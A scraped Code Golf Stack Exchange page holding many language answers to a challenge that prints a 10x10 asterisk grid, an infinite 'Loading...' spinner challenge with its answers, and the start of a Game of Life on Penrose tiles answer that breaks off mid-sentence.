0..9|%{'*'*10} ``` Full program. Loops from `0` to `9` through a `ForEach-Object` loop `|%{...}`. Each iteration, we use string multiplication to create a length-`10` string of `*`. Those resulting strings are left on the pipeline, and output at the end is implicit (since the default `Write-Output` for an array is newline-separated, we get that for free -- thanks to @Joey for the clarification). [Answer] # [V](https://github.com/DJMcMayhem/V), 7 bytes ``` 10é*10Ä ``` [Try it online!](http://v.tryitonline.net/#code=MTDDqSoxMMOE&input=) About as straightforward as an answer can be. Explanation: ``` 10 "10 times: é* "insert an asterisk 10Ä "make 10 copies of the current line ``` 5 bytes: ``` 10O±* ``` Explanation: ``` 10O " Insert the following on the next ten lines: ± " 10 copies of * " an asterisk ``` This didn't work when the challenge was posted because of a bug. [Answer] ## [Jellyfish](https://github.com/iatorm/jellyfish/blob/master/doc.md), ~~12~~ 10 bytes *Thanks to Zgarb for saving 2 bytes.* ``` P$'* &;10 ``` [Try it online!](http://jellyfish.tryitonline.net/#code=UCQnKgogJjsxMA&input=WzEwIDEwXQ) ### Explanation Using more conventional notation, this program represents the following expression: ``` P( $( &;(10), '* ) ) ``` `&;` takes a single value and creates a pair with two times that value, so `&;(10)` gives us `[10 10]`. Then `$` is reshape which forms a 10x10 grid of asterisks. Finally, `P` prints the array in "matrix format" which prints each string on its own line. [Answer] # **HTML & CSS, ~~104~~ 60 bytes** ``` p::after{content:"**********" ``` ``` <p><p><p><p><p><p><p><p><p><p> ``` I'm unsure if the byte count is correct (as I'm not counting the `<style>` tags for CSS. The HTML could also be shortened if I used a HTML preprocessor, but I'm unsure if that's breaking rules Thanks to manatwork and Business Cat. See my [Jade entry of 36 bytes](https://codegolf.stackexchange.com/a/90231/38505) [Answer] # Python 2, ~~22~~ 21 bytes ``` print('*'*10+'\n')*10 ``` [Answer] # [APL](https://en.wikipedia.org/wiki/APL_(programming_language)), 9 [bytes](https://codegolf.meta.stackexchange.com/a/9429/43319) Works on all APLs ever made. ``` 10 10⍴'*' ``` `10 10` ten rows and ten column `⍴` cyclically **r**epeating `'*'` a star [TryAPL online!](http://tryapl.org/?a=10%2010%u2374%27*%27&run) [Answer] # Notepad, 34 31 keystrokes ``` ********** ^A^C↓^V^A^C↓^V^V^V^V ``` ^ denotes Ctrl-<following character> keypress, ↑↓ are up and down keys, respectively. Props to Crypto for 3 saved keystrokes. [Answer] ## MATLAB, 14 bytes ``` repmat('*',10) ``` [Answer] ## Java 7, 63 bytes ``` void f(){for(int i=0;i++<10;)System.out.println("**********");} ``` Just for kicks. I can't seem to find any tricks to make this shorter. Trying to add logic for a 100-loop or returning a String instead of printing just ends up worse. [Answer] # Ruby, 15 characters ``` puts [?**10]*10 ``` Sample run: ``` bash-4.3$ ruby -e 'puts [?**10]*10' ********** ********** ********** ********** ********** ********** ********** ********** ********** ********** ``` [Answer] # [Emojicode](http://www.emojicode.org), 54 bytes ``` 🏁🍇🔂i⏩0 10🍇😀🔤**********🔤🍉🍉 ``` Explanation: ``` 🏁🍇 👴 The beginning of program. 🔂 i ⏩ 0 10 🍇 👵 This is called a "range". It basically starts with i=0 and increments until i=10, then exits. 👵 😀 🔤**********🔤 👵 😀 is printing class. The 🔤s make the characters they surround string literals. 👵 🍉 👴 End of range 🍉 👴 End of program ``` [Answer] ## 05AB1E, 7 bytes ``` TF'*T×, ``` **Explanation** ``` TF # 10 times do: '*T× # repeat asterisk 10 times , # print with newline ``` [Try it online](http://05ab1e.tryitonline.net/#code=VEYnKlTDlyw&input=WzEsMiwzLDQsNV0) [Answer] ## Brainfuck, ~~46~~ 43 bytes ``` +[[---<]+[-->]<]<<[--<<++..........-->>>.<] ``` [Try it online!](http://brainfuck.tryitonline.net/#code=K1tbLS0tPF0rWy0tPl08XTw8Wy0tPDwrKy4uLi4uLi4uLi4tLT4-Pi48XQ&input=) Requires an interpreter with a tape that is open on the left and has 8-bit cells. The first part of this program `+[[---<]+[-->]<]` sets up the tape like so: ``` [255, 250, 245, ... 15, 10, 5, 0, 250, 240, 230, ..., 40, 30, 20, 10, 0] ^ ``` This gives a 40 for outputting asterisks (`*`, ASCII 42), a 20 to use as a loop counter, and a 10 to use for outputting newlines. [Answer] ## R, 27 29 bytes ``` cat(rep('\r**********\n',10)) ``` An alternate answer (34 bytes) is: `cat(rep('**********',10),sep='\n')` [Answer] # PHP, 32 bytes ``` for(;$i++<10;)echo"********** "; ``` (variant 32 bytes - was written with `echo`) ``` <?=str_repeat("********** ",10); ``` (variant 33 bytes) ``` <?=str_pad("",110,"********** "); ``` (variant 33 bytes) ``` for(;$i++<110;)echo$i%11?"*":" "; ``` (variant 35 bytes) ``` for(;$i++<10;)printf("%'*10s ",''); ``` (variant 38 bytes) ``` <?=($a=str_repeat)($a("*",10)." ",10); ``` [Answer] # [MATL](https://github.com/lmendo/MATL), 8 bytes ``` '*'10tX" ``` [**Try it online!**](http://matl.tryitonline.net/#code=JyonMTB0WCI&input=) ``` '*' % Push '*' (string containing an asterisk) 10t % Push 10 twice X" % Repeat the string 10×10 times. Implicitly display ``` [Answer] # JavaScript (ES6), 37 bytes ``` console.log(`********** `.repeat(10)) ``` A straightforward answer. [Answer] # Brainfuck, 74 bytes first brainfuck submission ever, first reasonable length program, too ``` +++>>+++>>+++++++[<+<+<<+>>>>-]<[>++++++<-]<<<[->++++++++++[>>>.<<<-]>.<<] ``` ``` +++>>+++>>+++++++[<+<+<<+>>>>-]<[>++++++<-] < sets tape to 10 0 10 0 42 <<< moves to the first 10 [->++++++++++[>>>.<<<-]>.<<] < loops while the first cell of the tape is not zero: subtracts 1 from first cell sets the second cell to 10, loops while second cell is not zero: prints 42 cell, subtracts from second cell moves to third cell, prints it ``` [Answer] # vim, 8 bytes ``` 10a*<ESC>Y9p ``` `<ESC>` is 0x1b. ## Annotated ``` 10a*<ESC> # append * 10 times Y # copy line into default register 9p # paste 9 times ``` [Try it online!](https://tio.run/##K/v/39AgUUs60rLg/38A "V (vim) – Try It Online") [Answer] # Cheddar, ~~21~~ 20 bytes ``` print('*'*10+' ')*10 ``` Yet another straightforward answer. [Answer] ## Haskell, 29 bytes ``` putStr$[0..9]>>"**********\n" ``` `<list1> >> <list2>` makes `(length <list1>)` copies of `<list2>`. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 8 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` ”*x³s⁵j⁷ ``` [Try it online!](http://jelly.tryitonline.net/#code=4oCdKnjCs3PigbVq4oG3&input=) ### How it works ``` ”*x³s⁵j⁷ Main link. No arguments. ”* Yield '*'. x³ Repeat the character 100 times. s⁵ Split into chunks of length 10. j⁷ Join, separating by linefeeds. ``` ]
[Question] [ Your challenge is to make an infinite loading screen, that looks like this: [![enter image description here](https://i.stack.imgur.com/d0hvj.gif)](https://i.stack.imgur.com/d0hvj.gif) --- Or, to be more specific: * Take no input. * Output `Loading...`, with a trailing space, but no trailing newline. * Infinitely cycle through the chars `|`, `/`, `-` and `\`: every 0.25 seconds, overwrite the last one with the next in the sequence. You can overwrite just the last character, or delete and rewrite the whole line, as long `Loading...` remains unchanged. --- # Rules * The output text must look exactly as specified. Trailing newlines/spaces are acceptable. * You should *not* wait 0.25 seconds before initially showing output - the first frame should be printed as soon as the program is run. * **Your program should be able to run indefinitely.** For example, if you use a counter for frames, the counter should never cause an error by exceeding the maximum in your language. * Although the waiting period between each "frame" should be 0.25 seconds, obviously this will never be exact - an error margin of 10% or so is allowed. * You may submit a function, but it must print to `stdout`. * You can submit an answer in a non-console (but still text-based) environment, as long as it is capable of producing the loading animation. * This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so the shortest solution (in bytes) wins. Standard code-golf loopholes apply. * **If possible, please provide a gif of your loading screen in action.** --- # Example Here is the C++ code I used to create the example (ungolfed): ``` #include <iostream> #include <string> #include <thread> using namespace std; int main() { string cycle = "|/-\\"; int i = 0; cout << "Loading... "; while (true) { // Print current character cout << cycle[i]; // Sleep for 0.25 seconds this_thread::sleep_for(chrono::milliseconds(250)); // Delete last character, then increase counter. cout << "\b"; i = ++i % 4; } } ``` May the best golfer win! [Answer] ## HTML/CSS, ~~183~~ ~~180~~ ~~163~~ ~~161~~ ~~160~~ ~~147~~ 143 bytes ``` a{display:inline-flex;overflow:hidden;width:1ch}c{animation:c 1s steps(4)infinite}@keyframes c{to{margin:0-4ch ``` ``` <pre>Loading... <a><c>|/-\</pre> ``` Edit: Saved 3 bytes thanks to @betseg. Saved 17 bytes thanks to @manatwork. Saved 1 byte thanks to @Daniel. Saved 13 bytes thanks to @Ismael Miguel. Saved 4 bytes thanks to @Fez Vrasta. [Answer] # Vim, ~~43~~, 41 bytes ``` qqSLoading... |<esc>:sl250m r/@:r-@:r\@:@qq@q ``` *Two bytes saved thanks to @Udioica!* Here's a (slightly outdated) animation of it happening in real time! [![enter image description here](https://i.stack.imgur.com/jp1Kn.gif)](https://i.stack.imgur.com/jp1Kn.gif) And here is an explanation: ``` qq " Start recording into register 'q' SLoading... |<esc> " Replace all of the text in the buffer with 'Loading... |' :sl250m " Sleep for 250 ms r/ " Replace the bar with a slash @: " Re-run the last ex command (sleeping) r- " Replace the slash with a dash @: " Re-run the last ex command (sleeping) r\ " Replace the dash with a backslash @: " Re-run the last ex command (sleeping) @q " Run macro 'q' (the one we're recording) q " Stop recording @q " Call macro 'q', which will run forever because it's recursive ``` [Answer] # HTML + JS (ES6), 20 + ~~51~~ 50 = 70 bytes ``` setInterval(_=>a.innerHTML='|/-\\'[i=-~i%4],i=250) ``` ``` Loading... <a id=a>- ``` *-1 byte (Zachary T)* **Check out my [132 byte HTML/CSS answer](https://codegolf.stackexchange.com/a/101315/47097) as well.** [Answer] # Windows Batch, ~~121~~ ~~114~~ ~~84~~ ~~80~~ ~~79~~ 78 bytes Just throwing this out for fun. ``` for %%b in (/ - \ ^|)do (cls @echo Loading... %%b ping 1.1 -n 1 -w 250>nul) %0 ``` ~~I was not able to assign pipe (`|`) into the array, so I had to manually add it with another assignment.~~ The delay is done with `PING`, which [might not be accurate](http://www.robvanderwoude.com/wait.php#PING). Output: [![enter image description here](https://i.stack.imgur.com/93hDo.gif)](https://i.stack.imgur.com/93hDo.gif) Edit: * Thanks to Roman Gräf for saving 7 bytes! * Thanks to Neil for saving 30 bytes! I have also mangled it a bit more to save bytes on the newlines. * Thanks to phyrfox for saving 4 bytes! * Thanks to YourDeathIsComing for saving 2 bytes! [Answer] # Node, ~~72~~ 70 bytes ``` f=i=>console.log('\x1BcLoading... '+'|/-\\'[setTimeout(f,250,i=-~i%4),i]) ``` Replace `\x1B` with the literal escape character to get the correct byte count. Call `f()` to start the animation. Here's how it looks in the ConEmu terminal emulator on my computer: [![enter image description here](https://i.stack.imgur.com/GlZ0G.gif)](https://i.stack.imgur.com/GlZ0G.gif) [Answer] # Pyth, 31 bytes ``` Wm,p+"\rLoading... "d.d.25"|/-\ ``` Interpreter [here](https://github.com/isaacg1/pyth). ![Loading GIF](https://i.stack.imgur.com/U5hCD.gif) ## Explanation ``` Wm,p+"\rLoading... "d.d.25"|/-\ +"\rLoading... "d Concatenate the string "\rLoading... " and the variable d p Print the result without a newline .d.25 Sleep for 0.25 seconds , Form a two-element list with the results of the two statements above. This is only needed to execute both statements in a single lambda function. m "|/-\ Map the above statement over the characters in the string "|/-\", setting the variable d to the character for each iteration W While the result of the map statement is true, do nothing ``` [Answer] ## Kotlin, 67 66 bytes ``` while(1>0)"|/-\\".map{print("\rLoading... $it");Thread.sleep(250)} ``` [![enter image description here](https://i.stack.imgur.com/FdSsE.gif)](https://i.stack.imgur.com/FdSsE.gif) Fairly self explanatory, using `\r` to clear the line and taking advantage of Kotlin's awesome string interpolation. EDIT: Saved 1 byte thanks to @mEQ5aNLrK3lqs3kfSa5HbvsTWe0nIu by changing `while(true)` to `while(1>0)` [Answer] # Vim, 35 bytes `iLoading... \-/|<Esc>qqdb:sl250m<CR>p@qq@q` The boring version. Here's a non-complying solution that's better: # Vim (1 second sleep), 27 bytes `idbgsp@@<C-U>Loading... \-/|<Esc>@.` Using `gs` not only is much shorter, but you don't have to hit Enter. That means the macro fits in-line, and I can save bytes by switching to `@.`. (Since nothing after the recursive call can ever run, I can type whatever I want.) [Answer] ## Powershell (v4), ~~57~~ ~~56~~ ~~54~~ ~~53~~ ~~58~~ 57 Bytes Back at the Bytecount I started with! `for(){cls;"Loading... "+"|/-\"[($a=++$a%4)];sleep -m 250}` The CLI in powershell will glitch out slightly on some computers, so it doesn't look perfect, but it's as good as I can feasibly get. Moved $a++ into the for loop to save one byte, (no `;`) Then moved it into the array indexer, for another 2 byte save, thanks to Roman for pointing that out. Also saved 1 more byte (`;`) by moving the Clear screen (`cls`) part into the for loop.. Issue and fix pointed out by TimmyD for the infinite aspect of the question, only +5 Bytes required, changed `$a++%4` into `($a=++$a%4)` so it will never go above 3. Saved another byte by leaving the for loop totally blank, thanks to 'whatever' for pointing out that this is actually possible in Powershell Version 4! New updated gif for the ~~(final?)~~ version of this answer. [![Loading Gif](https://i.stack.imgur.com/3qIoC.gif)](https://i.stack.imgur.com/3qIoC.gif) ~~`for(;;cls){"Loading... "+"|/-\"[($a=++$a%4)];sleep -m 250}`~~ ~~`for(;;cls){"Loading... "+"|/-\"[$a++%4];sleep -m 250}`~~ ~~`for(;;){"Loading... "+"|/-\"[$a++%4];sleep -m 250;cls}`~~ ~~`for(;;$a++){"Loading... "+"|/-\"[$a%4];sleep -m 250;cls}`~~ ~~`for(;;){$a++;"Loading... "+"|/-\"[$a%4];sleep -m 250;cls}`~~ [Answer] # Pyth - ~~36~~ 35 bytes ``` #+"\033cLoading... "@"\|/-"~hZ.d.25 ``` Doesn't work online, obviously. [Answer] # Matlab, ~~78~~ 75 bytes ``` a='\|/-';while 1;clc;disp(['Loading... ',a(1)]);a=a([2:4,1]);pause(1/4);end ``` [![enter image description here](https://i.stack.imgur.com/PzMj9.gif)](https://i.stack.imgur.com/PzMj9.gif) [Answer] # HTML/CSS, 23 + 109 = 132 bytes Improved upon [Neil's answer](https://codegolf.stackexchange.com/a/101298/47097). ``` pre{display:flex}a{overflow:hidden;animation:a 1s steps(4)infinite;width:1ch}@keyframes a{to{text-indent:-4ch ``` ``` <pre>Loading... <a>|/-\ ``` [Answer] ## Mathematica, ~~74~~ 67 Bytes ``` ListAnimate["Loading... "<>#&/@{"|","/","-","\\"},AnimationRate->4] ``` A whopping 7 bytes off thanks to @dahnoak [Answer] ## C#, 170 133 Bytes ``` void X(){Console.Write("Loading... ");for(;;){foreach(var c in "|/-\\"){Console.Write("\b"+c);System.Threading.Thread.Sleep(250);}}} ``` Big thanks to Roman Gräf and raznagul, who saved me 37 bytes. (Especially raznagul, who pointed out, that my original solution was invalid anyway. I kinda missed out on something there, but it's fixed now and should meet the requirements :) pretty similar to Pete Arden's existing C# answer but with some improvements e.g. "for(;;)" instead of "while (true)", char instead of string I would have commented my suggestions on his answer but I don't actually have enough reputation to do that. Ungolfed: ``` static void X() { Console.Write("Loading... "); for (;;) { foreach (var c in "|/-\\") { Console.Write("\b" + c); System.Threading.Thread.Sleep(250); } } } ``` [Answer] # Forth, ~~72~~, 73 bytes *EDIT*: * Added the Gforth-only version, 69 bytes (Thanks @ninjalj !) * Added missing whitespace after "Loading..." (Thx @Roman Gräf !), +1 byte * Updated to match the rules more precisely (in the same byte count) **Golfed** ``` : L '| '/ '- '\ begin .\" \rLoading... " 3 roll dup emit 250 ms again ; L ``` **Gforth version** The GNU Forth-only version can be brought down to 69 bytes like this: ``` '| '/ '- '\ [begin] .\" \rLoading... " 3 roll dup emit 250 ms [again] ``` **Screencast** [![enter image description here](https://i.stack.imgur.com/80Ige.gif)](https://i.stack.imgur.com/80Ige.gif) [**Try it online !**](https://goo.gl/3zmdIy) [Answer] # Python 2, ~~81~~ ~~79~~ ~~78~~ 77 bytes ``` import time i=1 while 1:print'\rLoading...','\|/-'[i%4],;i+=1;time.sleep(.25) ``` Quite a simple solution that sleeps using `time`. I use `\r` (A carriage return) to go back to the start of the line and then print the message overwriting the line. I start with `i=1` to avoid double escaping the `\` (It is `'\|/-'` instead of `'|/-\\'`). In the past, I had used `-~i` to mean `i + 1` to avoid parentheses. (Thanks to [@Flp.Tkc](https://codegolf.stackexchange.com/users/60919) for these -2 bytes!) (It was `i=(i+1)%4` vs. `i=-~i%4`) Now, I am just letting the counter rise forever, as technically Python `int`s can't overflow. Thanks to [@Zachary T](https://codegolf.stackexchange.com/users/55550) for pointing that out and saving a byte! It only stops on a machine because the machine runs out of memory, but this takes [9.7 generations](http://www.wolframalpha.com/input/?i=(4GiB+%2F+(4+bit+Hz)) "Wolfram|Alpha link") with 4GB of memory for that one `int`. Thanks to [@Kade](https://codegolf.stackexchange.com/users/38417) for the -1 byte where `print a,b` prints `a` and `b` space seperated, so I don't need my own space. Here's a gif of it working on Windows: [![Loading](https://i.stack.imgur.com/LCSYi.gif "Loading...")](https://i.stack.imgur.com/LCSYi.gif "Loading...") I tested it on a Linux VM too. I couldn't test it on a Mac. [Answer] # Dyalog APL, 50 bytes This only works in the Windows version, as otherwise the `⎕SM` window will not show unless `⎕SR` is called. ``` {⎕SM←1 1,⍨⊂⊃⍵⌽'Loading... '∘,¨'|/-\'⋄∇4|⍵+⌈⎕DL÷4}1 ``` Explanation: * `{`...`}1`: run the function beginning with `⍵=1` * `Loading... '∘,¨'|/-\'`: generate the four possible outputs * `⊂⊃⍵⌽`: Rotate the list to put the ⍵th element first, take the first element, and enclose it * `⎕SM←1 1,⍨`: put the string in the top-left corner of the `⎕SM` window. * `⎕DL÷4`: wait 1/4th of a second * `4|⍵+⌈`: round up the resulting value (seconds spent waiting, so this is always 1), add it to `⍵` (incrementing it), and take the mod-4 (to prevent it from eventually overflowing). * `∇`: run the function again with the new `⍵`. [![Animation](https://i.stack.imgur.com/HS1WQ.gif)](https://i.stack.imgur.com/HS1WQ.gif) [Answer] # C#, 187 Bytes Golfed: ``` void L(){Console.Write("Loading...");Action<string>l=(a)=>{Console.SetCursorPosition(11,0);System.Threading.Thread.Sleep(250);Console.Write(a);};while(true){l("|");l("/");l("-");l("\\");} ``` Ungolfed: ``` public void L() { Console.Write("Loading..."); Action<string> l = (a) => { Console.SetCursorPosition(11, 0); System.Threading.Thread.Sleep(250); Console.Write(a); }; while (true) { l("|"); l("/"); l("-"); l("\\"); } } ``` *Still waiting for it to load...* [![enter image description here](https://i.stack.imgur.com/FB85j.gif)](https://i.stack.imgur.com/FB85j.gif) [Answer] ## MS-DOS .COM file, 56 bytes Here the file content in hexadecimal: ``` b4 09 ba 2c 01 cd 21 b2 2f e8 11 00 b2 2d e8 0c 00 b2 5c e8 07 00 b2 7c e8 02 00 eb ea b4 02 cd 21 b2 08 cd 21 b9 05 00 f4 e2 fd c3 4c 6f 61 64 69 6e 67 2e 2e 2e 20 24 ``` The matching assembler code looks like this: ``` mov ah, 9 ; Print "Loading... " mov dx, text int 21h theloop: mov dl, '/' ; Call "chrout" for "/", "-", "\" and "|" call chrout mov dl, '-' call chrout mov dl, '\' call chrout mov dl, '|' call chrout jmp theloop ; Endless loop chrout: ; Sub-Function "chrout" mov ah, 2 ; Output the character int 21h mov dl, 8 ; Output backspace int 21h mov cx,5 ; Call "HLT" 5 times timeloop: hlt ; Normally HLT will wait ~55 milliseconds ; (Assuming no keyboard key is pressed) loop timeloop ret ; End of the function text: ASCII "Loading... ",'$' ``` [Answer] # Snap!, 8 blocks ![8 blocks of Snap!](https://i.stack.imgur.com/ytwqZ.png) This was one of the very first algorithms I ever puzzled out on an Apple ][e [Answer] # [MATL](https://github.com/lmendo/MATL), 36 bytes *1 byte removed using [@flawr's idea](https://codegolf.stackexchange.com/a/101293/36398) of circularly shifting the string* ``` '\-/|'`Xx1YS'Loading... 'y1)hD.25Y.T ``` Here is a gif recording from the offline compiler: [![enter image description here](https://i.stack.imgur.com/Xf5LC.gif)](https://i.stack.imgur.com/Xf5LC.gif) Or try it at [MATL Online!](https://matl.io/?code=%27%5C-%2F%7C%27%60Xx1YS%27Loading...+%27y1%29hD.25Y.T&inputs=&version=19.5.1) ### How it works ``` '\-/|' % Push this string ` % Do...while Xx % Clear screen 1YS % Circularly shift thr string 1 step to the right 'Loading... ' % Push this string y % Duplicate the string of shifting symbols 1) % Get the first character hD % Concatenate the two strings and display .25Y. % Pause for 0.25 seconds T % Push "true". This is used as loop condition, to it % generates an infinite loop % End loop implicitly ``` [Answer] # Bash, ~~98~~ 69 bytes ``` while s='\|/-';do printf "\rLoading... ${s:i=++i%4:1}" sleep .25 done ``` Thanks to many people for the many bytes golfed off! [Answer] # [Perl 6](https://perl6.org), ~~72~~ 61 bytes ``` Supply.interval(1/4).tap: {print "\rLoading... ",<| / - \ >[$/++];$/%=4} ``` ``` loop {print "\rLoading... ",<| / - \ >[$/++];$/%=4;sleep 1/4} ``` [Answer] # [><>](https://esolangs.org/wiki/Fish), 55+4 = 59 bytes ``` "...gnidaoL"v l?!voc1. ^:<> <v<>'\|/-'>^v ^<^<<<8{<<^o< ``` Must be run passing `-t .01` as additional argument to the interpreter, that's the +4 in the byte count. What this does is putting the four characters to be printed on the stack, printing the top one without removing it and shifting the stack by one position. Then it prints `\b` (backspace, character x08) and restarts the loop. Timing is achieved by the argument passed to the interpreter, which forces to wait 0.01 second before executing each instruction. There are 23 instructions between an output and the next one (most of them simply move the instruction pointer to the next cell), so this will wait 0.23 seconds plus the time needed for executing the instructions, which fits without problem in the requested 0.25s with 10% error. You could [try it online](http://fish.tryitonline.net/#code=Ii4uLmduaWRhb0widgpsPyF2b2MxLiBeOjw-Cjx2PD4nXHwvLSc-XnYKXjxePDw8OHs8PF5vPA&input=&args=LXQgLjAx), but that interpreter doesn't recognize the backspace character, so the output will be a bit strange there. [Answer] # NASM x86\_64 - ~~349~~ 283 bytes This should be run 64 bit linux systems built using: `nasm loading_golfed.asm -felf64 && ld loading_golfed.o` ``` %use altreg global _start section .data o:db"Loading... " s:db"|/-\\" b:db`\bx` q:dq 0,250000000 _start:mov r0,1 mov r7,1 mov r6,o mov r2,12 syscall mov r2,2 l:mov r7,1 mov al,[s+r8] mov [b+1],al mov r0,1 mov r6,b syscall mov r0,35 lea r7,[q] mov r6,0 syscall inc r8 and r8,3 jmp l ``` animation: saved 65 bytes - thanks user254948 [![enter image description here](https://i.stack.imgur.com/GErli.gif)](https://i.stack.imgur.com/GErli.gif) [Answer] # reticular, 40 bytes ``` :i=@C"Loading... "o"|/-\\".iHo14%w.i1+4, ``` [![enter image description here](https://i.stack.imgur.com/rL2rm.gif)](https://i.stack.imgur.com/rL2rm.gif) I forgot to commit a bunch of things, including `w`. Oh well. ## Explanation ``` :i=@C"Loading... "o"|/-\\".iHo14%w.i1+4, :i= set `i` to the TOS @C clear the screen "Loading... "o output that string "|/-\\" push that string .i get `i` H get the `i`th character of that string o and output it 14% push 0.25 (1/4) w wait that long .i get `i` 1+ increment 4, mod 4 this wraps around the beginning of the program, setting i to the said value ``` [Answer] ## R, 85 89 bytes ``` repeat{if(T>4)T=1;cat("\fLoading...",c("|","/","-","\\")[T],sep="");T=T+1;Sys.sleep(.25)} ``` Edit: Fixed the answer such that `T` wont overflow by resetting the counter if greater than `4`. The only interesting aspect about this answer is the use of R's `TRUTHY` builtin `T`. It is effectively a predefined variable set to `1/TRUE` which means we don't have to initialize the counter but can start incrementing `T`. [Answer] # Haskell (GHC), ~~103~~ 91 bytes ``` import GHC.Conc mapM((>>threadDelay 250000).putStr)$("\rLoading... "++).pure<$>cycle"|/-\\" ``` Thanks @nimi for saving 12 bytes! [Answer] # C (on UNIX-like systems) 88 bytes ``` main(_){for(;;){_%=4;printf("\rLoading... %c","\\-/|"[_++]);fflush(0);usleep(250000);}} ``` It starts with the wrong character, but I think it looks nicer. You can easily change the character order by modifying the "\-/|" string. [Answer] # Perl, ~~71~~ ~~63~~ 61 bytes ``` s//\rLoading... |/;select$\,$\,$\,y'-|\/'\/|-'/4while$|=print ``` Previous version: ``` $_="\rLoading... |";{$|=print;y#|/\-\\#/\-\\|#;select$\,$\,$\,.25;redo} ``` Thanx to @primo for 10 bytes. ]
[Question] [ [Conway's Game of Life](http://en.wikipedia.org/wiki/Conway%27s_Game_of_Life) is (almost) always played on a regular square grid, but it doesn't need to be. Write a program that implements the standard cell neighboring rules from Conway's Game of Life on a two-dimensional tiling of the Euclidean plane that is [not a regular tiling of squares, triangles, or hexagons](http://en.wikipedia.org/wiki/Tiling_by_regular_polygons#Regular_tilings). Specifically, the tiling you choose... 1. Must contain at least 2 (but finitely many) differently shaped [prototiles](http://en.wikipedia.org/wiki/Prototile). * The different shapes may be scaled or rotated versions of each other. * They must be able to tile the entire plane without leaving holes. * They must be [simple polygons](http://en.wikipedia.org/wiki/Simple_polygon) with finite perimeter. (They may not be weakly simple.) 2. Must be isomorphically distinct from the square, triangular, and hexagonal grids. * Any tiling that trivially boils down to a regular square, triangular, or hexagonal grid is not allowed. (You can still use squares/triangles/hexagons in other tilings.) * The border between any two prototiles may contain multiple edges and vertices, but it must be continuous. Your tiling may be periodic or aperiodic, but when expanded to cover the entire plane, each prototile must appear infinitely many times. (So no "hardcoding" certain parts of your tiling to help achieve the extra points below.) Each of your prototiles represents one Game of Life cell that neighbors other cells: * Cells that share any edges **or any vertices** are considered neighbors. * Cells that share multiple edges or vertices are still only counted at each others neighbors once. * Cells cannot neighbor themselves. Tiling inspiration links: * <http://en.wikipedia.org/wiki/Tiling_by_regular_polygons> * <http://en.wikipedia.org/wiki/List_of_uniform_tilings> * <http://en.wikipedia.org/wiki/Aperiodic_tiling> * <http://en.wikipedia.org/wiki/Penrose_tiling> # Output Your program should output some sort of graphical representation of your tiling with the Game of Life being played in it, which you should of course post in image/gif/jsfiddle format. Please draw tile edge lines and use a light color for dead cells and a dark color for live cells. # Scoring Your submission score is the number of **upvotes minus downvotes, plus extra points** for discovering common Game of Life patterns in your tiling: * Find a [still life](http://www.conwaylife.com/wiki/Still_life) - a pattern that doesn't change from one generation to the next. (+2) * Find [oscillators](http://www.conwaylife.com/wiki/Oscillator) with period 2 through 29. (+3 for every period you find up to a total of 5 periods or +15 points max) * Find an oscillator with a period of 30 or more. (+7) * Find a [spaceship](http://www.conwaylife.com/wiki/Spaceship) - something that can get arbitrarily far away from it's starting location without leaving any debris. (It may not necessarily be a moving oscillator.) (+10) * Find another spaceship that moves in a distinctly different way (and is not a mirrored version of the first spaceship), e.g. see [glider](http://www.conwaylife.com/wiki/Glider) and [LWSS](http://www.conwaylife.com/wiki/Lightweight_spaceship). (+10) * Find a pattern of [infinite growth](http://www.conwaylife.com/wiki/Infinite_growth). You do not have to prove that the growth is infinite, just show us enough evidence of the pattern that it is practically certain. (+25) * Find a [gun](http://www.conwaylife.com/wiki/Gun) - something that generates spaceships forever (this also counts as infinite growth). (+50) The infinite growth patterns must start with a finite number of live cells and the other patterns must always contain a bounded number of live cells (e.g. a spaceship should not grow arbitrarily large over time). *Due to the nature of aperiodic tilings it seems likely that many of these patterns would be impossible to implement in them. So any verifiably aperiodic tiling gets +40 points automatically. A pattern that works in one place in an aperiodic tiling does not have to work in other places.* Each of the bonuses can only be applied once. Naturally we'll need to see the output to verify them. The highest score wins. # Notes * Each answer can only have bonuses applied to one specific tiling. (Though feel free to include related tilings.) * The Game of Life rules are as follows: 1. Any live cell with less than 2 or more than 3 live neighbors dies. 2. Any dead cell with exactly 3 live neighbors comes alive. 3. Other cells do not change. * Patterns for the extra points should be possible regardless of boundary conditions, but otherwise you may choose any boundary conditions you want. * By default the background should be all dead tiles. *Thanks to Peter Taylor, Jan Dvorak, and githubphagocyte for helping to hammering out loopholes in what tilings should be allowed.* (In case anyone is curious, this is definitely my favorite of [my own challenges](https://codegolf.stackexchange.com/users/26997/calvins-hobbies?tab=questions&sort=votes).) [Answer] # Penrose rhombii in Python, +97 points I chose a penrose tiling composed of two different shaped rhombuses, meeting 3-8 per vertex. This penrose tiling is proven aperiodic elsewhere. The simulation is graphical (via pygame) and interactive. Comments indicate two places in the code where algorithm implementation was taken from another source. ![animation of penrose life ending with p12 oscillator](https://i.stack.imgur.com/Hne4R.gif) There are many small neighborhood still lifes: ![still life in penrose life](https://i.stack.imgur.com/UpPmB.png) ![still life in penrose life](https://i.stack.imgur.com/bLuKE.png) ![still life in penrose life](https://i.stack.imgur.com/oQe7F.png) Any vertex with four "on" neighbors is a still life: ![butterfly still life in penrose life](https://i.stack.imgur.com/7TaW4.png) ![spiky still life in penrose life](https://i.stack.imgur.com/2yg7F.png) ![pacman still life in penrose life](https://i.stack.imgur.com/gtRCK.png) Any loop where no dead interior cells touch three cells on the loop is also a still life: ![loop still life in penrose life](https://i.stack.imgur.com/iV1KG.png) ![loop still life in penrose life](https://i.stack.imgur.com/a8c6z.png) There are oscillators at various frequencies: p2: (many variations) ![period 2 oscillator in penrose life](https://i.stack.imgur.com/QMr51.gif) p3: ![period 3 oscillator in penrose life](https://i.stack.imgur.com/eqFzU.gif) p4: ![period 4 oscillator in penrose life](https://i.stack.imgur.com/2K4nB.gif) ![period 4 oscillator in penrose life](https://i.stack.imgur.com/ns0aA.gif) ![period 4 oscillator in penrose life](https://i.stack.imgur.com/dWBeq.gif) p5: ![period 5 oscillator in penrose life](https://i.stack.imgur.com/s5cM4.gif) p6: ![period 6 oscillator in penrose life](https://i.stack.imgur.com/z2CZi.gif) p7: ![period 7 oscillator in penrose life](https://i.stack.imgur.com/rEJB0.gif) ![period 7 oscillator in penrose life](https://i.stack.imgur.com/0O4G4.gif) p12: ![period 12 oscillator in penrose life](https://i.stack.imgur.com/SbhJH.gif) p20: ![period 20 oscillator in penrose life](https://i.stack.imgur.com/ocOeY.gif) The rules and clarifications as written mostly do not allow for gliders or guns in a non-planned aperiodic 